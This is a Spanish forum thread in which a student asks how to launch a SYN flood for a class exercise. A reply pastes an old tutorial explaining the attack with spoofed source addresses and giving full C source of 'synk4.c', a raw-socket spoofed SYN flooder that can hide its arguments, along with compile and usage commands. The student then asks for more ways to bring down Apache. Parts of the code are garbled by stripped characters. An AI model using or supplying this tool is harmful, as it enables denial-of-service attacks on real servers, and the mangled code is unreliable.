Banda Ancha EU

Comunidad de usuarios
de fibra, móvil y ADSL

hosting en interdominios
309 lecturas y 4 respuestas
  • Cerrado

    como puedo lanzar un ataque SYN FLOODING?

    Hola , soy estudiante de ultimo año en Informatica y estamos haciendo unos trabajos practicos sobre servidores linux (Apache) y windows (IIS), pues entre otras cosas haremos grupillos y intentaremos atacarnos mutamente los servidores en la red local a ver quien aguanta mas XD.

    He visto que un buen ataque podría ser un SYN FLOODING, pero aunque no paro de encontrar como evitarlo, no consigo obtener informacion de como hacer yo un ataque de ese estilo, a ver si pudierais darme algun enlace sobre el tema.

    Y repito que sólo será para probar en clase de Sistemas Operativos de la Universidad de Alicante, ya que como dice mi profesor, si quieres parar un ataque, primero tendras que saber crearlo.

    Un saludo.

    Este tema es antiguo y puede contener información obsoleta. Abre un nuevo tema para publicar tu mensaje.
    • Cerrado

      Asi nos lo cuentan y así es como se efectua TITULO TCP SYN…

      Asi nos lo cuentan y así es como se efectua

      TITULO TCP SYN Flooding
      AUTOR Anghel
      MAIL anghel@linuxpower.zzn.com
      WEB warp9.to/anghel => personales.ciudad.com.ar/anghel_site

      1 Disclaimer
      2 Conexiones TCP
      3 TCP SYN Flooding
      4 Tirando nuestros servidores

      1 Disclaimer

      La informacion que contiene el presente documento esta escrita con el fin
      de que el lector tenga la posibilidad de aprender como funciona el ataque
      TCP SYN Flooding, y de esta forma poder disminuir la mediocridad
      informatica en la sociedad.

      En ningun momento el autor del presente documento se hace responsable de
      los daños causados con la informacion aqui expuesta. Antes de empezar a
      leer, el lector tiene que ser lo suficientemente consciente de que lo
      aqui expuesto es solo para fines educativos y comprensivos, y que lo haga
      despues de la lectura, es su responsabilidad.

      2 Conexiones TCP

      Cuando un host A le manda datos a un host B, le esta mandando un “paquete
      TCP”. Dicho paquete, contiene los siguientes datos:

      - puerto origen
      - puerto destino
      - IP origen
      - IP destino

      Ademas, dicho paquete contiene “flags”, que determinan el tipo de paquete
      que se esta mandando. Los distintos flags son los siguientes:

      - SYN – Este flag indica que se esta pidiendo una conexion

      - ACK – Con este flag se responde cuando un paquete llega bien

      - PSH – Este flag se usa para pasar datos a la aplicacion. Por ejemplo,
      este flag tiene que estar activado en conexiones TELNET o RSH

      - RST – Corta la conexion de manera brusca

      - URG – Determina que un paquete es urgente

      - FIN – Pide el cierre de la conexion

      Por otra parte, el paquete contiene numeros de secuencia que identifican
      a cada paquete mandado, pero eso no es importante ahora.

      Ahora bien, una vez explicados los “flags” de un paquete TCP, vamos a ver
      como se establece una conexion entre dos hosts.

      Ya que TCP es un protocolo orientado a la conexion, es necesario que
      antes de empezar a intercambiar datos, se realice un saludo entre ambas
      maquinas. El saludo se realiza de la siguiente manera, en el ejemplo, A
      es el cliente y B es el servidor:

      1. A --SYN--> B

      2. A
      3. A --ACK--> B

      1. A le pide a B la peticion de la conexion mediante la activacion del
      “flag“ SYN.

      2. B acepta la peticion de A.

      3. A le responde a B diciendole que su respuesta llego bien.

      De ahi en mas, ya se pueden empezar a mandar datos mediante el “flag”
      PSH.

      3 TCP SYN Flooding

      El TCP SYN Flooding es un ataque de tipo DoS (Denial of Service,
      Denegacion de Servicio).

      No se aprovecha de un bug en un software ni en el kernel, sino que toma
      provecho de la mala implementacion del protocolo TCP.

      El objetivo de dicho ataque es dejar sin funcionamiento al demonio que
      corra en un determinado puerto; en definitiva, tumbar a un puerto y
      privarlo de recibir conexiones de sus clientes.

      El ataque funciona de la siguiente manera:

      Hay que mandarle a un host destino, una serie de paquetes TCP con el bit
      SYN activado, (es decir, una serie de peticiones de conexion) desde una
      direccion IP spoofeada, la cual tiene que ser inexistente.

      Como la direccion origen es inexistente, el host destino no puede
      completar el saludo con el host cliente, y ahi es donde entra el fallo:
      ICMP reporta que el cliente es inexistente, pero TCP ignora el mensaje y
      sigue intentando terminar el saludo con el cliente de forma continua, y
      como la cantidad de peticiones que se le hace al objetivo es demasiada,
      el demonio que corre en dicho puerto queda tumbado.

      El esquema seria el siguiente:

      A(C) –-SYN--> B

      A(C) –-SYN--> B

      A(C) –-SYN--> B

      ...

      C
      C
      C
      ...

      C
      Es obligatorio que la IP origen sea inexistente, ya que sino el host
      objetivo (B), le va a responder a la IP que supuestamente spoofeamos (que
      en este caso existe) con un SYN/ACK, y como esa IP no pidio ninguna
      conexion, le va a responder al host objetivo (B) con un RST, y el ataque
      no tiene efecto.

      Si la IP origen existe, el esquema seria el siguiente:

      A(C) --SYN--> B

      C
      C –-RST—-> B

      4 Tirando nuestros servidores

      Despues de toda la teoria anterior, mas de uno va a querer poner en
      practica todo lo aprendido, y aunque haya antendido todo lo anterior, tal
      vez se pregunte: esta bien, pero, ¿con que programa puedo hacer practicar
      el TCP SYN Flooding?.

      Aca expongo el codigo fuente del programa synk4.c para que practiquen el
      TCP SYN Flood. La idea es que hagan pruebas con su localhost, y que no
      molesten a ningun administrador con un flood su servidor ftp.

      Para usar el programa:
      1. Compilar el programa:
      cc synk4.c –o synk4

      2. Usarlo de la siguiente manera:
      ./synk4

      Si en se pone 0, el programa va a usar IP aleatorias.
      En se tendria que poner 127.0.0.1.
      En y hay que poner desde que puerto hasta
      que puerto se quiere atacar. Si se quiere atacar a un solo puerto, hay
      que poner el mismo valor en los dos campos.

      Ejemplo: ./synk4 0 127.0.0.1 23 23

      Una vez que se ejecuta el programa, se va a empezar a moverse un contador
      que va a representar el numero de conexiones que se le estan haciendo al
      host destino.

      Mas o menos cuando llegue a 5000 conexiones (5000 es suficiente), hay que
      cortarlo con un ctrl + c.

      Una vez parado el programa, es preferible conectarse a nuestro servidor
      telnet:

      [root@localhost temp]# telnet localhost 23
      Trying 127.0.0.1...

      Si sale algo como lo anterior, y se queda parado ahi, quiere decir que
      nuestro servidor telnet ya esta tumbado.

      /* - */

      #include
      #include
      #include
      #include
      #include
      #include
      #include
      #include
      #define SEQ 0x28376839
      #define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

      unsigned long send_seq, ack_seq, srcport;
      char flood = 0;
      int sock, ssock, curc, cnt;

      /* Check Sum */
      unsigned short
      ip_sum (addr, len)
      u_short *addr;
      int len;
      {
      register int nleft = len;
      register u_short *w = addr;
      register int sum = 0;
      u_short answer = 0;

      while (nleft > 1)
      {
      sum += *w++;
      nleft -= 2;
      }
      if (nleft == 1)
      {
      *(u_char *) (&answer) = *(u_char *) w;
      sum += answer;
      }
      sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
      sum += (sum >> 16); /* add carry */
      answer = ~sum; /* truncate to 16 bits */
      return (answer);
      }

      void sig_exit(int crap)
      {
      #ifndef HEALTHY
      printf("_[H_[JSignal Caught. Exiting Cleanly.\n");
      exit(crap);
      #endif
      }

      void sig_segv(int crap)
      {
      #ifndef NOSEGV
      printf("_[H_[JSegmentation Violation Caught. Exiting Cleanly.\n");
      exit(crap);
      #endif
      }

      unsigned long getaddr(char *name) {
      struct hostent *hep;

      hep=gethostbyname(name);
      if(!hep) {
      fprintf(stderr, "Unknown host %s\n", name);
      exit(1);
      }
      return *(unsigned long *)hep->h_addr;
      }

      void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data,
      int dlen) {
      char buf[65536];
      struct { /* rfc 793 tcp pseudo-header */
      unsigned long saddr, daddr;
      char mbz;
      char ptcl;
      unsigned short tcpl;
      } ph;

      struct sockaddr_in sin; /* how necessary is this, given that the
      destination
      address is already in the ip header? */

      ph.saddr=ih->saddr;
      ph.daddr=ih->daddr;
      ph.mbz=0;
      ph.ptcl=IPPROTO_TCP;
      ph.tcpl=htons(sizeof(*th)+dlen);

      memcpy(buf, &ph, sizeof(ph));
      memcpy(buf+sizeof(ph), th, sizeof(*th));
      memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
      memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
      th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

      memcpy(buf, ih, 4*ih->ihl);
      memcpy(buf+4*ih->ihl, th, sizeof(*th));
      memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
      memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

      ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
      memcpy(buf, ih, 4*ih->ihl);

      sin.sin_family=AF_INET;
      sin.sin_port=th->dest;
      sin.sin_addr.s_addr=ih->daddr;

      if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin,
      sizeof(sin))printf("Error sending syn packet.\n"); perror("");
      exit(1);
      }
      }

      unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip,
      unsigned short port) {
      int i, s;
      struct iphdr ih;
      struct tcphdr th;
      struct sockaddr_in sin;
      int sinsize;
      unsigned short myport=6969;
      char buf[1024];
      struct timeval tv;

      ih.version=4;
      ih.ihl=5;
      ih.tos=0; /* XXX is this normal? */
      ih.tot_len=sizeof(ih)+sizeof(th);
      ih.id=htons(random());
      ih.frag_off=0;
      ih.ttl=30;
      ih.protocol=IPPROTO_TCP;
      ih.check=0;
      ih.saddr=my_ip;
      ih.daddr=their_ip;

      th.source=htons(srcport);
      th.dest=htons(port);
      th.seq=htonl(SEQ);
      th.doff=sizeof(th)/4;
      th.ack_seq=0;
      th.res1=0;
      th.fin=0;
      th.syn=1;
      th.rst=0;
      th.psh=0;
      th.ack=0;
      th.urg=0;
      th.res2=0;
      th.window=htons(65535);
      th.check=0;
      th.urg_ptr=0;

      gettimeofday(&tv, 0);

      send_tcp_segment(&ih, &th, "", 0);

      /* send_seq = SEQ+1+strlen(buf); */
      }

      void upsc()
      {
      int i;
      char schar;
      switch(cnt)
      {
      case 0:
      {
      schar = '|';
      break;
      }
      case 1:
      {
      schar = '/';
      break;
      }
      case 2:
      {
      schar = '-';
      break;
      }
      case 3:
      {
      schar = '\\';
      break;
      }
      case 4:
      {
      schar = '|';
      cnt = 0;
      break;
      }
      }
      printf("_[H_[1;30m[_[1;31m%c_[1;30m]_[0m %d", schar, curc);
      cnt++;
      for(i=0; ii++;
      curc++;
      }
      }

      void init_signals()
      {
      // Every Signal known to man. If one gives you an error, comment it
      out!
      signal(SIGHUP, sig_exit);
      signal(SIGINT, sig_exit);
      signal(SIGQUIT, sig_exit);
      signal(SIGILL, sig_exit);
      signal(SIGTRAP, sig_exit);
      signal(SIGIOT, sig_exit);
      signal(SIGBUS, sig_exit);
      signal(SIGFPE, sig_exit);
      signal(SIGKILL, sig_exit);
      signal(SIGUSR1, sig_exit);
      signal(SIGSEGV, sig_segv);
      signal(SIGUSR2, sig_exit);
      signal(SIGPIPE, sig_exit);
      signal(SIGALRM, sig_exit);
      signal(SIGTERM, sig_exit);
      signal(SIGCHLD, sig_exit);
      signal(SIGCONT, sig_exit);
      signal(SIGSTOP, sig_exit);
      signal(SIGTSTP, sig_exit);
      signal(SIGTTIN, sig_exit);
      signal(SIGTTOU, sig_exit);
      signal(SIGURG, sig_exit);
      signal(SIGXCPU, sig_exit);
      signal(SIGXFSZ, sig_exit);
      signal(SIGVTALRM, sig_exit);
      signal(SIGPROF, sig_exit);
      signal(SIGWINCH, sig_exit);
      signal(SIGIO, sig_exit);
      signal(SIGPWR, sig_exit);
      }

      main(int argc, char **argv) {
      int i, x, max, floodloop, diff, urip, a, b, c, d;
      unsigned long them, me_fake;
      unsigned lowport, highport;
      char buf[1024], *junk;

      init_signals();
      #ifdef HIDDEN
      for (i = argc-1; i >= 0; i--)
      /* Some people like bzero...i prefer memset :) */
      memset(argv[i], 0, strlen(argv[i]));
      strcpy(argv[0], HIDDEN);
      #endif

      if(argcprintf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf(" If srcaddr is 0, random addresses will be used\n\n\n");

      exit(1);
      }
      if( atoi(argv[1]) == 0 )
      urip = 1;
      else
      me_fake=getaddr(argv[1]);
      them=getaddr(argv[2]);
      lowport=atoi(argv[3]);
      highport=atoi(argv[4]);
      srandom(time(0));
      ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
      if(ssockperror("socket (raw)");
      exit(1);
      }
      sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
      if(sockperror("socket");
      exit(1);
      }
      junk = (char *)malloc(1024);
      max = 1500;
      i = 1;
      diff = (highport - lowport);

      if (diff > -1)
      {
      printf("_[H_[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991
      The Regents of the University\n of California. All Rights Reserved.");
      for (i=1;i>0;i++)
      {
      srandom((time(0)+i));
      srcport = getrandom(1, max)+1000;
      for (x=lowport;x{
      if ( urip == 1 )
      {
      a = getrandom(0, 255);
      b = getrandom(0, 255);
      c = getrandom(0, 255);
      d = getrandom(0, 255);
      sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
      me_fake = getaddr(junk);
      }

      spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
      /* A fair delay. Good for a 28.8 connection */
      usleep(300);

      if (!(floodloop = (floodloop+1)%(diff+1))) {
      upsc(); fflush(stdout);
      }
      }
      }
      }
      else {
      printf("High port must be greater than Low port.\n");
      exit(1);
      }
      }

      /* - */

      • Cerrado

        Esta cojonudo este documento, bueno acabo de probarlo en mi…

        Esta cojonudo este documento, bueno acabo de probarlo en mi ordenador como indica , pero será que mi Apache 2.0 ya esta inmunizado porque no le ha afectado en lo mas minimo, lastima tendré que encontrar otra manera de atacar, sobretodo a un grupo que nos la tenemos jurada XDD

        Me ofreceis alguna alternativa para derribar un Apache?